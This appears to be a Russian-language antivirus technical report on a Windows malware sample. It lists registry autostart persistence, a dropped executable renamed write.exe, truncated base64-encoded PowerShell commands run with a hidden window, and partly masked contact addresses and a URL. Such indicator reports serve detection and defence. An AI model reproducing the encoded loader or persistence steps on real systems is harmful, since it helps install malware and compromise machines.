Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\write] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\write] 'ImagePath' = '"%WINDIR%\SysWOW64\w32topl\write.exe"'
- 'write' "%WINDIR%\SysWOW64\w32topl\write.exe"
- 'write' %WINDIR%\SysWOW64\w32topl\write.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABuAGUAaQB0AGgAcgBpAG8AYwBmAGUAdQBnAGIAbwBhAGMAaAB6AGUAbwB3AGoAaQBhAGsAPQAnAGMAaQBvAGIAdwBhAGkAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AG...
- %HOMEPATH%\984.exe
- %WINDIR%\syswow64\w32topl\write.exe
- %HOMEPATH%\984.exe в %WINDIR%\syswow64\w32topl\write.exe
- '18#.#0.69.50':80
- http://18#.#0.69.50/kmhz2dy6JBJXxTc/s3rBpq6BmiyL5xsEk/2swpIMP3CquhDI/WHOwYu55qywth/EmmterDI/gFScbt2IKEArI/
- DNS ASK me###egal.com
- '%HOMEPATH%\984.exe'
- '%WINDIR%\syswow64\w32topl\write.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABuAGUAaQB0AGgAcgBpAG8AYwBmAGUAdQBnAGIAbwBhAGMAaAB6AGUAbwB3AGoAaQBhAGsAPQAnAGMAaQBvAGIAdwBhAGkAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AG...' (со скрытым окном)